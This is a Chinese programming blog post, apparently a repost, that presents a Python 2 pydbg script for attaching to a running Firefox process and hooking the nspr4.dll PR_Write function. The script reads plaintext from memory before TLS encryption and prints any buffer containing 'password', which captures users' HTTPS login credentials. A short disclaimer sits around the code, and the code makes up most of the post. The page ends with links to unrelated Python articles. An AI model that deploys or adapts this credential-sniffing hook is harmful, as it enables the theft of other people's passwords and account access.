python利用hook技术破解https的实例代码

yipeiwu_com5年前Python基础

相对于http协议,http是的特点就是他的安全性,http协议的通信内容用普通的嗅探器可以捕捉到,但是https协议的内容嗅探到的是加密后的内容,对我们的利用价值不是很高,所以一些大的网站----涉及到“大米”的网站,采用的都是http是协议,嘿嘿,即便这样,还是有办法能看到他的用户名和密码的,嘿嘿,本文只是用于技术学习,只是和大家交流技术,希望不要用于做违法的事情,这个例子是在firefox浏览器下登录https协议的网站,我们预先打开程序,就来了个捕获用户名和密码:

下面是源代码:

复制代码 代码如下:

#!/ur/bin/env python    
from pydbg import *
from pydbg.defines import *

import utils    
import sys    

dbg = pydbg()    
found_firefox = False

pattern = "password"

         
def ssl_sniff( dbg, args ):    
    buffer = ""    
    offset = 0

    while 1:    
        byte = dbg.read_process_memory( args[1] + offset, 1 )    
        if byte != "x00":    
            buffer += byte    
            offset += 1
            continue
        else:    
            break
    if pattern in buffer:    
        print "Pre-Encrypted: %s" % buffer
    return DBG_CONTINUE    
# 寻找firefox.exe的进程    
for (pid, name) in dbg.enumerate_processes():    
    if name.lower() == "firefox.exe":    
        found_firefox = True
        hooks = utils.hook_container()    
        dbg.attach(pid)    
        print "[*] Attaching to firefox.exe with PID: %d" % pid    
# 得到firefox的hook的 address    
        hook_address = dbg.func_resolve_debuggee("nspr4.dll","PR_Write")    
        if hook_address:    
# 添加hook的内容,包括他的pid,地址,嗅探类型   

            hooks.add( dbg, hook_address, 2, ssl_sniff, None )    
            print "[*] nspr4.PR_Write hooked at: 0x%08x" % hook_address    
            break
        else:    
            print "[*] Error: Couldn't resolve hook address."
            sys.exit(-1)    
        if found_firefox:    
            print "[*] Hooks set, continuing process."
            dbg.run()    
        else:    
                print "[*] Error: Couldn't find the firefox.exe process."
                sys.exit(-1)    

if found_firefox:    
    print "[*] Hooks set, continuing process."
    dbg.run()    
else:    
    print "[*] Error: Couldn't find the firefox.exe process."
    sys.exit(-1)

转自:http://world77.blog.51cto.com/414605/518679

相关文章

python正则表达式去除两个特殊字符间的内容方法

以去掉去掉<!--和-->为例进行说明: def clearContentWithSpecialCharacter(content): # 先将<!--替换成,普...

Linux下安装python3.6和第三方库的教程详解

Linux下安装Python3.6和第三方库 如果本机安装了python2,尽量不要管他,使用python3运行python脚本就好,因为可能有程序依赖目前的python2环境, 比如y...

python中实现精确的浮点数运算详解

为什么说浮点数缺乏精确性? 在开始本文之前,让我们先来谈谈浮点数为什么缺乏精确性的问题,其实这不是Python的问题,而是实数的无限精度跟计算机的有限内存之间的矛盾。 举个例子,假如说我...

Python反射的用法实例分析

本文实例讲述了Python反射的用法。分享给大家供大家参考,具体如下: 在做程序开发中,我们常常会遇到这样的需求:需要执行对象里的某个方法,或需要调用对象中的某个变量,但是由于种种原因我...

Python调用C# Com dll组件实战教程

Python调用C# Com dll组件实战教程

之前公司有套C# AES加解密方案,但是方案加密用的是Rijndael类,而非AES的四种模式(ECB、CBC、CFB、OFB,这四种用的是RijndaelManaged类),Pytho...